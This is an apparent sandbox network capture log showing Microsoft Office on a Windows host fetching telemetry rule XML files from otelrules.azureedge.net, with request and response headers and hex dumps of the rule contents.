2024-11-19 00:01:34 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:34 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:34 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000134Z-16547b76f7fwggrphC1DFW2a8s00000005f0000000007dkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:34 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:34 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 25df3dc6-101e-000b-2cf8-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000134Z-17cf5b775c4j2k86hC1DFWdbb400000000d000000000382f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:34 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:34 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c6213e4b-c01e-0014-58b2-37a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000134Z-17cf5b775c4j2k86hC1DFWdbb400000000hg0000000037s7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:35 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:35 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: d4662715-001e-002b-50ac-3899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000135Z-17cf5b775c45g8j4hC1DFWne5g00000000m000000000csau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:35 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 1d8bef7c-801e-002a-176f-3731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000135Z-164f84587bfmxxfphC1DFW3au800000004zg00000000g890 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:35 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:35 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000135Z-r18f44ddb695qphdhC1DFWpmx800000000n0000000007krr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:35 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000135Z-16547b76f7fxqj4khC1DFWpypw00000003z0000000004q9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:35 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:35 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000135Z-16547b76f7fw2955hC1DFWsptc000000070g00000000dy3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:36 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:36 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:36 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:36 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 258ea299-f01e-0096-72c4-3710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000136Z-16547b76f7f6892shC1DFWawd000000003cg00000000y0d8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:36 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:36 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:36 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: b72e63d2-001e-0079-62d2-3712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000136Z-r18f44ddb694v9hbhC1DFW4shn00000000q0000000008pdh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:36 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:37 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:37 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:37 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 56128767-e01e-0071-6e9b-3808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000137Z-16547b76f7f64d6whC1DFWf9vn000000051g00000000pkhe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:37 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:37 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:37 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:37 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000137Z-r18f44ddb69kljqthC1DFWc7dn00000000fg00000000bmyh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
